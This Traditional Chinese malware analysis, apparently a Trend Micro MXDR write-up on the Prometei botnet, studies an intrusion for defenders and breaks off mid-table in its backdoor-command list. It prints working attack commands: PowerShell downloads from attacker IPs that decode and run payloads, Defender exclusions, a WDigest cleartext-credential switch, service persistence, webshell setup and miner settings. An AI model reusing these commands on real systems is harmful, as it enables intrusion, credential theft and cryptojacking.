網路資安威脅
揭開 Prometei 殭屍網路面紗:深入探討趨勢科技 MXDR 團隊的研究發現
Prometei 如何在受駭系統內暗中作亂? 在 Trend Vision One 的協助下,這起由託管式偵測及回應 (MXDR) 服務團隊所執行的調查,完整分析了這個殭屍網路的內部運作,好讓使用者能在威脅對系統造成損害之前預先加以攔截。
重點摘要
- 駭客使用 Prometei 殭屍網路對某家客戶發動了一波暴力破解攻擊來試圖滲透其系統。
- 我們的託管式偵測及回應 (MXDR) 服務團隊利用 Trend Vision One 發現了這起攻擊,並藉由回應動作主動加以遏止。
- 我們掌握了 Prometei 隱匿的完整手法,並且追蹤及描繪出此殭屍網路的詳細安裝過程。
簡介
我們託管式偵測及回應 (MXDR) 服務團隊在近期執行的一起調查中,利用 Trend Vision One 所偵測到的惡意活動,分析了 Prometei 殭屍網路如何在某家客戶的環境內擴散。Prometei 隸屬於一個更大的殭屍網路,能讓駭客從遠端遙控受感染的電腦、部署惡意程式,並協調攻擊。
據報導,Prometei 殭屍網路最早可追溯至 2016 年,並曾在 2022 年底更新至第 3 版,是一個模組化惡意程式家族,主要用於虛擬加密貨幣挖礦 (尤其是門羅幣) 和竊取登入憑證。到了 2023 年初,全球約有超過 10,000 台系統遭其駭入,它在巴西、印尼和土耳其都相當活躍。駭客會利用網域產生演算法 (DGA) 所產生的網域作為幕後操縱 (CC) 基礎架構,並加入了自我更新功能來躲避偵測。
Prometei 會利用 BlueKeep 漏洞 (CVE-2019-0708) 和 Microsoft Exchange Server 漏洞 (CVE-2021-27065 和 CVE-2021-26858) 來散布,並使用 PowerShell 腳本來下載惡意檔案。近期報告指出,它會利用一個內含 PHP 網站指令介面 (Webshell) 的 Apache 網站伺服器來常駐於系統。此殭屍網路會下載內含各種元件的壓縮檔案,用來控制受感染的裝置,並因應防禦措施而迅速做出調整。
本文詳細討論我們團隊對 Prometei 樣本 (3.22 版) 的深入分析,我們將檢視其完整的滲透過程,從它如何突破防線、一路追蹤到它在目標網路內執行的最終階段。
突破防線
我們是在注意到一系列可疑的登入嘗試之後才開始展開調查,這些認證失敗的請求主要來自兩個外部 IP 位址:196[.]7[.]210[.]6 和 196[.]7[.]209[.]178。這波活動立即觸發了紅色警報,因為這意味著可能有人在針對該網路進行暴力破解攻擊。我們的威脅情報顯示,這兩個外部 IP 都與 Prometei 有所關聯。
這兩個 IP 位址:196[.]7[.]210[.]6 和196[.]7[.]209[.]178 顯然與 Prometei 的基礎架構有很深的關聯。這些 IP 和先前通報的 Prometei 樣本之間存在著一層直接的關聯。這起攻擊行動的發現,有助於持續回應及追蹤這些攻擊,並提供更多有關該如何處理的洞見。
這些 IP 位址都寫死在多個 Prometei 變種當中,因此是強而有力的證據。
隨後,受駭系統上會被植入多個檔案:
- C:\Windows\uplugplay
- C:\Windows\netwalker
- C:\Windows\updates1.7z
- C:\Windows\updates2.7z
- C:\Windows\mshlpda32.dll
- C:\Windows\7z.exe
這些檔案會被植入到「C:\Windows\dell\」和「C:\Windows\」兩個目錄中。接著使用 7-Zip 壓縮工具 (7z.exe) 來解開「update1.7z」壓縮檔的內容,裡面的資料與「update2.7z」壓縮檔類似。被解開的檔案如下:
- sqhost.exe
- libssp-0.dll
- libcrypto-1_1.dll
- windrlver.exe
- miWalk64.exe
- miWalk32.exe
其中,「sqhost.exe」檔案是殭屍網路的主要二進位檔案,負責植入其他元件並連線到各種 CC 伺服器來下載更多檔案。它會被複製並重新命名成「C:\Windows\zsvc.exe」或保留原始檔名,變成「C:\Windows\sqhost.exe」。它會執行一些篡改系統服務和規則的指令,包括新增防火牆規則來允許 sqhost.exe 的流量通過,並設定 UPlugPlay (通用隨插即用) 服務來讓它能自動啟動。這些動作可讓惡意程式在重新開機之後自動啟動,並且躲避偵測。
C:\Windows\System32\cmd.exe /C netsh advfirewall firewall add rule name="Secure Socket Tunneling Protocol (HTTP)" dir=in action=allow program="c:\windows\sqhost.exe" enable=yes&netsh firewall add allowedprogram c:\windows\sqhost.exe "Secure Socket Tunneling Protocol (HTTP)" ENABLE |
C:\Windows\System32\cmd.exe cmd.exe /C sc start UPlugPlay |
C:\Windows\System32\cmd.exe /C ren C:\windows\zsvc.exe sqhost.exe |
C:\Windows\System32\cmd.exe /C sc config UPlugPlay start= auto |
C:\Windows\System32\cmd.exe /C reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UPlugPlay" /v ImagePath /f /t REG_EXPAND_SZ /d "c:\windows\sqhost.exe Dcomsvc" |
C:\Windows\System32\cmd.exe /C sc delete UPlugPlay&sc create UPlugPlay binPath= "c:\windows\sqhost.exe Dcomsvc" type= own DisplayName= "UPlug |
cmd.exe /c sc query UPlugPlay |
C:\Windows\System32\cmd.exe /C copy /y "c:\windows\zsvc.exe" C:\windows |
登入憑證傾印
我們發現了一個透過修改 WDigest 認證協定來讓登入憑證以明碼方式儲存在系統記憶體內的指令。雖然 WDigest 在今日的 Windows 系統當中通常都已停用,但駭客卻透過「UseLogonCredential」這個設定來強迫系統以明碼方式儲存密碼。
"C:\Windows\System32\cmd.exe" /C reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /f /t REG_DWORD /d 1
「C:\Windows\dell\miwalk.exe」檔案會蒐集受駭電腦上的登入憑證,並傾印至「C:\Windows\dell\ssldata2.dll」檔案中。這個傾印檔案會在威脅擴散至整個網路時隨著其他惡意元件一起橫向移動。
我們偵測到一個使用 PowerShell 來設定 Windows Defender 好讓「C:\Windows」和「 C:\Windows\Dell」兩個目錄被排除在監控之外的指令,這樣惡意檔案就能躲避偵測。
cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows"&powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\Dell"
橫向移動
駭客使用 WMI Provider Host (wmiprvse.exe) 來橫向移動並執行遠端程式碼。該程式以父處理程序的方式存在,意味著腳本是由 WMI 作業所啟動。駭客利用「WriteAllText」或「AppendAllText」來寫入一系列 Base64 編碼的惡意檔案到「C:\windows\*.b64」。儘管腳本不會立即將內容解碼或執行,但會儲存編碼後的資料以供後續行動使用。
powershell [io.file]::AppendAllText('C:\windows\uplugplay.b64','<Base64_encoded_string>');
powershell [io.file]::AppendAllText('C:\windows\updates1.7z.b64','<Base64_encoded_string>');
powershell [io.file]::AppendAllText('C:\windows\updates2.7z.b64','<Base64_encoded_string>');
powershell [io.file]::AppendAllText('C:\windows\7z.dll.b64','<Base64_encoded_string>');
powershell [io.file]::AppendAllText('C:\windows\7z.exe.b64','<Base64_encoded_string>');
powershell [io.file]::AppendAllText('C:\windows\winhlpx64.exe.b64','<Base64_encoded_string>');
powershell [io.file]::AppendAllText('C:\Windows\zsvc.exe.b64','<Base64_encoded_string>');
powershell [io.file]::WriteAllText('C:\windows\uplugplay.b64','<Base64_encoded_string>');
powershell [io.file]::WriteAllText('C:\windows\updates1.7z.b64', '<Base64_encoded_string>');
powershell [io.file]::WriteAllText('C:\windows\updates2.7z.b64', '<Base64_encoded_string>');
powershell [io.file]:: WriteAllText ('C:\windows\7z.dll.b64','<Base64_encoded_string>');
powershell [io.file]::WriteAllText('C:\windows\netwalker.b64', '<Base64_encoded_string>');
powershell [io.file]:: WriteAllText ('C:\windows\winhlpx64.exe.b64','<Base64_encoded_string>');
powershell [io.file]:: WriteAllText ('C:\Windows\zsvc.exe.b64','<Base64_encoded_string>');
powershell [io.file]::WriteAllText('C:\windows\ssldata2.dll.b64',' <Base64_encoded_string>');
接著,某個腳本會解開 Base64 編碼的檔案 (*.b64),將解碼後的資料寫入一個新的檔案,然後刪除原始編碼的檔案,並輸出這個新檔案的大小。此技巧用來解開經過加密編碼的內容,例如,「uplugplay.b64」檔案解碼之後會變成「uplugplay」。
processCmd: powershell $f='C:\windows\uplugplay.b64';$o='C:\windows\uplugplay';$data=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($f));[io.file]::WriteAllBytes($o,$data);Remove-Item $f;Write-Host (Get-Item $o).length;
其他檔案也透過類似的指令分別解開至下列檔案:
- C:\Windows\7z.dll
- C:\Windows\7z.exe
- C:\Windows\mshlpda32.dll
- C:\Windows\netwalker.b64
- C:\Windows\ssldata2.dll
- C:\Windows\updates1.7z
- C:\Windows\updates2.7z
- C:\Windows\uplugplay.b64
- C:\Windows\winhlpx64.exe
- C:\Windows\zsvc.exe
下載其他元件
某一道指令會從「http://103.40[.]123[.]34/k.php?B=_AMD64,PSDN0020,504K45A188441R4UE」下載一個檔案並儲存成「C:\windows\zsvc.exe」。接著,腳本會讀取 zsvc.exe,並套用一個客製化 XOR 運算的解密程序,然後使用「Start-Process」這個 PowerShell cmdlet 來執行解密的檔案。
cmd /C echo 123>C:\Windows\mshlpda32.dll&powershell $p='C:\windows\zsvc.exe';(New-Object Net.WebClient).DownloadFile('http://103.40.123.34/k.php?B=_AMD64,PSDN0020,504K45A188441R4UE',$p);$d=[IO.File]::ReadAllBytes($p);$t=New-Object Byte[]($d.Length);[int]$j=0;for([int]$i=0;$i -lt $d.Length;$i++){$j+=66;$t[$i]=(($d[$i] -bxor ($i*3 -band 255))-$j) -band 255;}[io.file]::WriteAllBytes($p,$t);Start-Process $p;
接著,sqhost.exe 會連上外部 IP 位址 88.198.246[.]242 來下載「prometei.cgi」這個 PowerShell 腳本以下載其他模組。
當我們深入研究 sqhost.exe 處理程序的活動時,我們發現它會執行一系列的動作來達成更多目標。首先,它會檢查「7z.dll」檔案是否存在,如果沒有,sqhost.exe 會從「http://103.41.204[.]104/7z32.dll」下載「7z32.dll」,該檔案是 7-Zip 檔案管理工具的一部分。
接下來,它會尋找「7z.exe」,如果該檔案不存在,就會從同一個網址取得「7z32.exe」。最後,不論它是否找到先前的檔案,sqhost.exe 都會從「http://103.41.204[.]104/std2.7z」下載「std.7z」,它內含攻擊所需的其他元件。
powershell.exe "if(-not (Test-Path '7z.dll')) {(New-Object Net.WebClient).DownloadFile('http://103[.]41[.]204[.]104/7z32.dll','7z.dll');}if(-not (Test-Path '7z.exe')) {(New-Object Net.WebClient).DownloadFile('http://103.41.204[.]104/7z32.exe','7z.exe');} (New-Object Net.WebClient).DownloadFile('http://103.41.204[.]104/std2.7z','std.7z');"
根據觀察發現,這些指令會檢查下載檔案的 SHA1 來確認其雜湊碼是否正確。
sqhost.exe /sha1chk 962F3D0B35B9FF68CDBA31A039EAD12B5789E7F6.std.7z
sqhost.exe /sha1chk 344FAF61C3EB76F4A2FB6452E83ED16C9CCE73E0 7z.dll
sqhost.exe /sha1chk 20FEA1314DBED552D5FEDEE096E2050369172EE1 7z.exe
接著利用 7zip 工具來解開前面下載的壓縮檔,也就是「std.7z」或「std2.7z」。
"C:\Windows\dell\7z.exe" x std.7z -phorhor123 -y
此外,我們發現還有另一個腳本會從某個遠端伺服器將「walker.ini」下載到「 C:\windows\dell」。這些從網站下載檔案的工作很可能是由 sqhost.exe 當中的「chkxwget」指令負責。
"C:\Windows\System32\cmd.exe" /c C:\windows\sqhost /chkxwget http://103.41.204[.]104/dwn.php?d=walker.ini C:\windows\dell\walker.ini
「Socks.exe」這個檔案負責處理 RDP 通訊,它會處理可能含有密碼的「.cpass」檔案,並試圖透過 RDP 登入,然後將可成功登入的密碼寫入「.cpass_good」檔案。
某個指令會透過「systeminfo」蒐集系統資訊,然後記錄到「C:\Windows\temp」底下的「setup_gitlog.txt」檔案中,然後再 ping 一下 Google 的 DNS (8.8.8.8),並將結果記錄到同一個檔案。
"C:\Windows\System32\cmd.exe" /c systeminfo>>C:\Windows\temp\setup_gitlog.txt&ping 8.8.8.8>>C:\Windows\temp\setup_gitlog.txt
散布方式
我們找到了以下殭屍網路程式及其主要散播模組,這些模組負責將 Prometei 散播至整個網路:
- C:\Windows\winhlpx64.exe
- C:\Windows\dell\rdpcIip.exe
此外,我們也發現了一個可疑的指令會執行「C:\Windows\dell\rdpcIip.exe」當中的一個二進位檔案。該檔案與一個 Base64 編碼的字串有關,這字串解碼之後會看到一些二進位資料,這很可能是某個惡意的執行檔。
編碼狀態:
"C:\Windows\System32\cmd.exe" /c systeminfo>>C:\Windows\temp\setup_gitlog.txt&ping 8.8.8.8>>C:\Windows\temp\setup_gitlog.txt
解碼狀態:
'\x1d\x0c\x12Oz\x01R\x17\x7f\x19\x02($iǛB}MDܤH_*}'
rdpclip.exe 會連線至以下 IP 位址:
- 187[.]79.243.171
接著,它會建立以下看似組態設定或資料檔的檔案,這檔案可能與殭屍網路跟外部伺服器的通訊有關。
- C:\Windows\dell\net196[.]7.210.160.map
名稱為「nethelper」的執行檔是 .NET assembly 元件,用來橫向移動,試圖尋找並連上網路環境中的任何 SQL 伺服器。連線成功之後,執行檔就會試圖在伺服器上安裝 sqhost.exe。這是由「C:\Windows\dell\rdpcIip.exe」所啟動。
"C:\Windows\dell\nethelper4.exe" 103.41.204[.]104 10.0.0.254:443 2AA19BFA
"C:\Windows\dell\nethelper4.exe" 103.41.204[.]104 10.17.0.42:5432 "C:\Windows\dell\10.17.0.42"
SSH 連線
我們偵測到來自受駭環境的可疑 SSH (Secure Shell) 連線,它利用「windrlver.exe」在連接埠 22 上建立連線到外部 IP。這些活動表示駭客可能已經取得更高的存取權限,並且正在使用安全的通訊協定來隱藏其遠端作業,例如:上傳敏感檔案或執行指令。
"C:\windows\dell\windrlver.exe" ssh 180.169.1[.]207:22 "C:\windows\dell\180.169.1.207" 155.207.200.242 HV
"C:\Windows\dell\windrlver.exe" ssh 10.17.0[.]254:22 "C:\Windows\dell\10.17.0.254" 103.41.204.104 HL
"C:\windows\dell\windrlver.exe" ssh 134.88.5[.]200:22 "C:\windows\dell\134.88.5.200" 103.40.123.34 HV
"C:\windows\dell\windrlver.exe" ssh 187.133.137[.]81:22 "C:\windows\dell\187.133.137.81" 103.40.123.34 HV
虛擬加密貨幣挖礦
受害的電腦會連上礦池伺服器,在受害者不知情的情況下,使用受駭電腦來開挖虛擬加密貨幣 (門羅幣)。這類活動通常被歸類為「虛擬加密貨幣挖礦」(Cryptojacking),也就是駭客利用系統資源來生產虛擬加密貨幣。
- p2.feefreepool[.]net 88.198.246[.]242:80
被下載的虛擬加密貨幣挖礦惡意程式「srch.7z」會儲存成「SearchIndexer.exe」。指令執行時會先使用 PowerShell 來檢查「SearchIndexer.exe」是否存在,如果不存在,就從「http://103.41.204[.]104」下載「srch.7z」。下載之後,先利用 sqhost.exe 來驗證 SHA-1 總和檢查碼是否與預期的雜湊碼 (9280B1466527CB5B22C77C6CF42A3085A68DD326) 相符。如果總和檢查碼相符,就會使用密碼「horhor123」來解開 srch.7z 的內容,並刪除原始的壓縮檔來清除痕跡。
"C:\Windows\System32\cmd.exe" /C powershell.exe "if(-not (Test-Path 'SearchIndexer.exe')) {(New-Object Net.WebClient).DownloadFile('http://103.41.204.104/srch.7z','srch.7z');}"&sqhost.exe /sha1chk 9280B1466527CB5B22C77C6CF42A3085A68DD326 srch.7z&7z x srch.7z -phorhor123 -y&del srch.7z
挖礦程式的組態設定屬性是由 CC 經由一個下載的文字檔 (desktop.txt) 來提供,該檔案會寫入磁碟變成「C:\Windows\dell\desktop.dat」。
"C:\\Windows\\System32\\cmd.exe" /c powershell.exe "$d=【System.Convert】::FromBase64String('LW8gc3RyYXR1bSt0Y3A6Ly8xNDUuMjM5LjIwMC45MjozMzMzIC0tZG9uYXRlLWxldmVsIDEgLXAgeCAtdSBpZA===');【io.file】::WriteAllBytes('C:\\Windows\\dell\\Desktop.dat',$d);"
解碼狀態:
-o stratum+tcp://145.239.200.92:3333 --donate-level 1 -p x -u id
SearchIndexer.exe 會偽裝成合法的 Windows Search Indexer,在連接埠 3333 上使用 Stratum 通訊協定來連上礦池,並將捐贈等級 (donation level) 設為 1。
"C:\Windows\dell\SearchIndexer.exe" -o stratum+tcp://142.4.205[.]155:80 --donate-level 1 -p x -u id |
"C:\Windows\dell\SearchIndexer.exe" -o stratum+tcp://89.163.213[.]192:3333 --donate-level 1 -p x -u id |
"C:\Windows\dell\SearchIndexer.exe" -o stratum+tcp://145.239.200[.]92:3333 --donate-level 1 -p x -u id |
網域產生演算法 (DGA)
從我們觀察到的網域可以看出駭客使用了 DGA 作為另類的 CC 基礎架構。DGA 會隨機建立大量的網域名稱,所以即使某些網域遭到封鎖,也能讓 Prometei 與駭客的伺服器通訊。在這個案例中,網域名稱都有固定的格式,也就是以「xinchaocace」或「xinchaobjce」作為開頭,並以各種頂層網域 (.com、.net、.org) 作為結尾。這些動態產生的網域會讓網域的攔截變得複雜,顯然惡意程式是利用 DGA 來躲避偵測以掌控受感染的網路。
xinchaocacebm[.]com |
xinchaocacebd[.]com |
xinchaobjcebl[.]com |
xinchaobjcebj[.]net |
xinchaocacebp[.]net |
xinchaocacebi[.]net |
xinchaobjcebi[.]net |
xinchaobjcebe[.]org |
xinchaocacebo[.]org |
xinchaocacebd[.]net |
xinchaobjcebn[.]org |
xinchaobjcebk[.]com |
xinchaocacebi[.]com |
xinchaocacebj[.]com |
xinchaobjcebb[.]com |
Xinchaobjcebf[.]com |
此外,我們也偵測到駭客使用 nslookup 指令經由 Google 的 DNS 伺服器 (8.8.8.8) 來查詢隨機產生的網域名稱,藉此找出駭客所用的 CC 伺服器。
部署網站指令列介面
此外,我們也觀察到 sqhost.exe 執行了一系列 PowerShell 指令來下載並設定一個 Apache 網站伺服器,該伺服器用來當成惡意活動的網站指令列介面 (Webshell)。
"C:\Windows\System32\cmd.exe" /C del C:\Windows\dell\AppServ.zip&powershell.exe -nologo -noprofile -command "new-item C:\Windows\dell -itemtype directory;if(-not (Test-Path 'C:\windows\dell\7z.dll')) {(New-Object Net.WebClient).DownloadFile('http://103.41.204[.]104/7z32.dll', 'C:\Windows\dell\7z.dll');}if(-not (Test-Path 'C:\windows\dell\7z.exe')) {(New-Object Net.WebClient).DownloadFile('http://103.41.204.104/7z32.exe', 'C:\Windows\dell\7z.exe');}if(-not (Test-Path 'C:\ProgramData\Microsoft\AppServ\www\index.php')) {(New-Object Net.WebClient).DownloadFile('http://45.194.35[.]180:180/AppServ180.zip', 'C:\Windows\dell\AppServ.zip');} new-item C:\ProgramData\Microsoft\AppServ -itemtype directory;new-item C:\ProgramData\Microsoft\AppServ\cgi-bin -itemtype directory"&sqhost.exe /sha1chk 20FEA1314DBED552D5FEDEE096E2050369172EE1 C:\windows\dell\7z.exe&sqhost.exe /sha1chk 344FAF61C3EB76F4A2FB6452E83ED16C9CCE73E0 C:\windows\dell\7z.dll&sqhost.exe /sha1chk de16ad97be7fefcd7b830413e7d4d56ef96fb02b C:\windows\dell\AppServ.zip&C:\windows\dell\7z x C:\Windows\dell\AppServ.zip -oC:\ProgramData\Microsoft\AppServ -y
以下是腳本的逐步拆解:
- 從「C:\Windows\dell」目錄刪除「AppServ.zip」檔案,這有很可能是為了清除先前的痕跡。
- 使用 PowerShell 建立「C:\Windows\dell」和「C:\ProgramData\Microsoft\AppServ」兩個目錄 (如果尚未存在的話)。
- 接著,下載數個檔案 (如果尚未存在的話):
- 7z32.dll (從 http://103.41.204[.]104/7z32.dll)
- 7z32.exe (從 http://103.41.204[.]104/7z32.exe)
- AppServ180.zip (從 http://45.194.35[.]180:180/AppServ180.zip)
- 使用 SHA-1 總和檢查碼來驗證這些下載檔案的完整性,以確保它們正確無誤:
- 7z.exe:20FEA1314DBED552D5FEDEE096E2050369172EE1
- 7z.dll:344FAF61C3EB76F4A2FB6452E83ED16C9CCE73E0
- AppServ.zip:de16ad97be7fefcd7b830413e7d4d56ef96fb02b
- 接著使用「7z.exe」將「AppServ.zip」壓縮檔解壓縮至「C:\ProgramData\Microsoft\AppServ」目錄。
我們看到有一個 PowerShell 指令會將「ssimple.php」檔案重新命名成一個隨機產生的名稱,格式為「Shell-」後面接著 12 個字元的字串 (例如:Shell-abc123def456.php)。這樣的隨機命名能幫助駭客躲避偵測,讓資安團隊更難追蹤受駭系統上的 Webshell。
cmd.exe /C powershell "$chars = 'abcdefghijkmnopqrstuvwxyz123456789'.ToCharArray(); $rnd=''; 1..12 | ForEach { $rnd+=$chars | Get-Random }; $s='Shell-'+$rnd+'.php';$r='C:\ProgramData\Microsoft\AppServ\www\'+$s;Rename-Item -Path 'C:\ProgramData\Microsoft\AppServ\www\ssimple.php' -NewName $r; Write-Host $s;
接著建立一個新的 Windows 服務:KtmRmSvc,並指定其二進位檔案「taskhost.exe」的路徑 (C:\ProgramData\Microsoft\AppServ\Apache2.2\bin),同時設定讓它在開機時自動啟動。如此 taskhost.exe 就會常駐在系統內,讓駭客經由 Webshell 持續掌控受駭的系統。
cmd.exe /C sc create KtmRmSvc binPath= "C:\ProgramData\Microsoft\AppServ\Apache2.2\bin\taskhost.exe -k runservice" start= auto
我們看到駭客會使用指令來加入新的防火牆規則以建立一個 Apache 網站伺服器,並偽裝成 taskhost.exe。這樣可以讓 taskhost.exe 的流量被列在「Secure Socket Tunneling Protocol (HTTP)」的名義下,並允許該執行檔穿過防火牆,讓它更方便進出。此外,還使用指令將 PHP 組態設定檔 (php.ini) 複製到「C:\Windows」以方便存取,然後啟動 KtmRmSvc 服務來執行 taskhost.exe。這個動作的目的是要掩護惡意活動,並維持對受駭系統的掌控,協助與駭客的伺服器通訊。
netsh advfirewall firewall add rule name="Secure Socket Tunneling Protocol (HTTP)" dir=in action=allow program="C:\ProgramData\Microsoft\AppServ\Apache2.2\bin\taskhost.exe" enable=yes&netsh firewall add
allowedprogram C:\ProgramData\Microsoft\AppServ\Apache2.2\bin\taskhost.exe "Secure Socket Tunneling Protocol (HTTP)" ENABLE© C:\ProgramData\Microsoft\AppServ\php5\php.ini C:\Windows&sc start KtmRmSvc
藉由 Trend Vision One 的回應動作,我們成功取得了一個「AppServ180.zip」壓縮檔的樣本,裡面含有 Webshell。為了更了解其功能,我們分析了壓縮檔內的檔案。
此壓縮檔主要包含三個目錄:
- Apache2.2:Apache 網站伺服器的可攜式版本。
- php5:可攜式 PHP 安裝檔。
- www:Webshell 檔案 (ssimple.php 或 Shell-{random}.php) 所在的目錄。
在分析過 Webshell (也就是 ssimple.php/Shell-{random}.php) 之後,我們發現它具備兩項重要功能:
- 指令執行:Webshell 可利用 PHP 的 system() 函式在伺服器上執行任意指令。
- 檔案上傳:讓檔案可以上傳到受駭伺服器。
有了這些功能,駭客就能遙控伺服器,並上傳其他惡意檔案。
Tor (洋蔥路由器) 連線
「C:\Windows\dell\msdtc.exe」會嘗試使用 Base64 編碼字串來連線至某個 Tor (洋蔥路由器) .onion 遠端網址,該字串解碼後是一個 Prometei 相關的位址,用來建立 CC 連線。然後搭配 smcard.exe 這個 Tor 中繼器來將受駭電腦連上 Tor 網路,接著在 localhost (本機) 連接埠 9001 和 443 上啟動 SOCKS 代理器 (proxy)。
編碼狀態:
msdtc.exe aHR0cHM6Ly9nYjduaTVyZ2VleGRjbmNqLm9uaW9uL2NnaS1iaW4vcHJvbWV0ZWkuY2dpP3I9OSZpPU44UTRZOTBPOVRUNDZNWEc=
msdtc.exe aHR0cHM6Ly9nYjduaTVyZ2VleGRjbmNqLm9uaW9uL2NnaS1iaW4vcHJvbWV0ZWkuY2dpP3I9MyZpPTlBRjJIWUoyNDBJRlI0VUc=
msdtc.exe aHR0cHM6Ly9nYjduaTVyZ2VleGRjbmNqLm9uaW9uL2NnaS1iaW4vcHJvbWV0ZWkuY2dpP3I9MyZpPTQ2VjI3OUFJTjUzSDUyUVo=
解碼狀態:
https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi?r=9&i=N8Q4Y90O9T4MXH
https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi?r=3&i=9AF2HYJ240IFR4UG
smcard.exe 可當成 Tor 中繼器使用,將受駭系統連上 Tor 網路,然後在 localhost 連接埠 9001 和 443 上建立 SOCKS 代理器。
"C:\Windows\dell\smcard.exe" --nt-service "-f" "C:\Windows\dell\torrc"
zsvc.exe/sqhost.exe (安裝程式)
- 殭屍網路最初的安裝檔,可單獨執行而不需其他指令參數。
- 此樣本最初是使用 UPX 來包裝,並使用一個客製化包裝程式來解開其主要的殭屍網路程式碼。
- 客製化包裝程式會檢查系統上是否有「mshlpda32.dll」檔案存在:
- 若不存在,就會執行以下掩護動作:
- 建立檔案:C:\Windows\Temp\setup_gitlog.txt。
- 執行指令:C:\Windows\System32\cmd.exe /c systeminfo>>C:\Windows\temp\setup_gitlog.txt&ping 8.8.8.8>>C:\Windows\temp\setup_gitlog.txt
- 終止目前的處理程序。
- 如果存在,就會解開主要的殭屍網路程式碼,方式如下:
- 從外部檔案讀取一個位元組。
- 使用取得的位元組,搭配 XOR 運算來解開主要的殭屍網路程式碼。
- 若不存在,就會執行以下掩護動作:
- 一旦主要的殭屍網路程式碼解開之後,此樣本就會檢查殭屍網路是否已安裝到系統上:
- 當以系統管理員權限安裝自己時,它將執行以下動作:
- 建立「C:\Windows\dell」資料夾,用來讓殭屍網路儲存其下載的模組。
- 建立系統登錄機碼「HKEY_LOCAL_MACHINE\SOFTWARE\Intel\Support」。此系統登錄機碼將包含「MachineKeyId」、「EncryptedMachineKeyId」和「CommId」等數值名稱,可供不同的 CC 通訊元件使用。
- 檢查登錄機碼「HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fax\」的 CommId 數值。
- 如果該數值不是空的 (null),殭屍網路就會使用這個登錄機碼 (而非新建立的機碼) 來儲存前面提到的數值名稱。
- 檢查它自己在執行時是否指定了參數 (藉此判斷它是要執行安裝程序,還是主要的殭屍網路行為),後者的話會使用「Dcomsvc」這個參數。
- 以下摘要列出它在安裝時會執行的指令:
- 將自己複製到「C:\Windows」。
- C:\Windows\System32\cmd.exe /C copy /y "{Malware Folder}\zsvc.exe" C:\windows
- 刪除現有的 UPlugPlay 服務然後建立新的 UPlugPlay 服務。
- C:\Windows\System32\cmd.exe /C sc delete UPlugPlay&sc create UPlugPlay binPath= "c:\windows\sqhost.exe Dcomsvc" type= own DisplayName= "UPlug-and-Play Host" start= auto error= ignore
- C:\Windows\System32\cmd.exe /C sc config UPlugPlay start= auto
- C:\Windows\System32\cmd.exe /C reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UPlugPlay" /v ImagePath /f /t REG_EXPAND_SZ /d "c:\windows\sqhost.exe Dcomsvc"
- 將自己重新命名為「sqhost.exe」。
- C:\Windows\System32\cmd.exe /C ren C:\windows\zsvc.exe sqhost.exe
- 啟動 UPlugPlay 服務。
- C:\Windows\System32\cmd.exe cmd.exe /C sc start UPlugPlay
- 建立一個防火牆規則來允許 sqhost.exe 經由 HTTP 建立連線。
- C:\Windows\System32\cmd.exe /C netsh advfirewall firewall add rule name="Secure Socket Tunneling Protocol (HTTP)" dir=in action=allow program="c:\windows\sqhost.exe" enable=yes&netsh firewall add allowedprogram c:\windows\sqhost.exe "Secure Socket Tunneling Protocol (HTTP)" ENABLE
- 將自己複製到「C:\Windows」。
- 當以系統管理員權限安裝自己時,它將執行以下動作:
- 如果它在安裝自己時沒有系統管理員權限,那就會改執行以下動作:
- 查詢 UPlugPlay 服務。
- 將自己複製並重新命名為 sqhost 到「%AppData%\intel\roaming」資料夾:
- "C:\Windows\System32\cmd.exe" /C copy /y "{Malware Folder}\zsvc.exe" "%AppData%\intel\sqhost.exe"
- 將自己加入目前使用者的「CurrentVersion\Run」自動啟動系統登錄機碼來讓它能夠常駐系統。
- "C:\Windows\System32\cmd.exe" /C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v UPlugPlay /t REG_SZ /d "c:\users\dyituser_764\appdata\roaming\intel\sqhost.exe Dcomsvc" /f
- 使用「Dcomsvc」參數來執行其複本。
- 如果安裝程序順利完成,就自行終止。
sqhost.exe (殭屍網路主要二進位檔案)
- 由於 sqhost 和 zsvc 是相同的檔案,因此它們的包裝方式也相同 (一開始使用 UPX,接著使用客製化解壓縮程式)。
- 此樣本可檢查自己在執行時是否指定了參數。它會檢查的一些參數包括:「ver」、「Dcomsvc」、「sha1chk {input}」以及「watchdog」。根據測試結果,使用參數來執行時不會傳回輸出到主控台。
- 樣本所建立的服務會使用參數「Dcomsvc」來執行自己。
- 此樣本似乎是 3.22 版的殭屍網路。
- 執行程序:
- 樣本會使用「watchdog」參數來執行自己,這個參數可確保該服務同一時間只有一個執行個體在運作。
- 接著會執行以下指令:
- "C:\Windows\System32\cmd.exe" /C netsh advfirewall firewall delete rule name="Banned brute IPs"
- "C:\Windows\System32\cmd.exe" /C Auditpol /set /subcategory:"Logon" /failure:enable
- 它會嘗試執行被下載的模組:
- "C:\Windows\System32\cmd.exe" /C rdpcIip.exe
- "C:\Windows\System32\cmd.exe" /C netsync_v2.exe
- "C:\Windows\System32\cmd.exe" /C nvstub_v2.exe
- "C:\Windows\System32\cmd.exe" /C netdefender.exe
- 還會執行一些指令來進行偵查工作:
- wmic baseboard get Manufacturer
- wmic baseboard get product
- wmic ComputerSystem get Model
- cmd.exe /c ver
- wmic OS get lastbootuptime
- wmic os get caption
- 接著開始試圖連上 CC 伺服器。
- 如果連線成功,接著就等候對方下達指令。
- 總共有 4 個寫死在二進位檔案中的 CC 伺服器可以讓殭屍網路程式取得組態設定:
- http[://]p2.feefreepool[.]net/cgi-bin/prometei.cgi
- http[://]mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq[.]zero/cgi-bin/prometei.cgi
- http[://]mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq[.]b32[.]i2p/cgi-bin/prometei.cgi
- https[://]gb7ni5rgeexdcncj[.]onion/cgi-bin/prometei.cgi
- 以下是樣本中找到的後門程式指令:
指令 |
說明 |
set_cc1 |
設定 CC 伺服器。 |
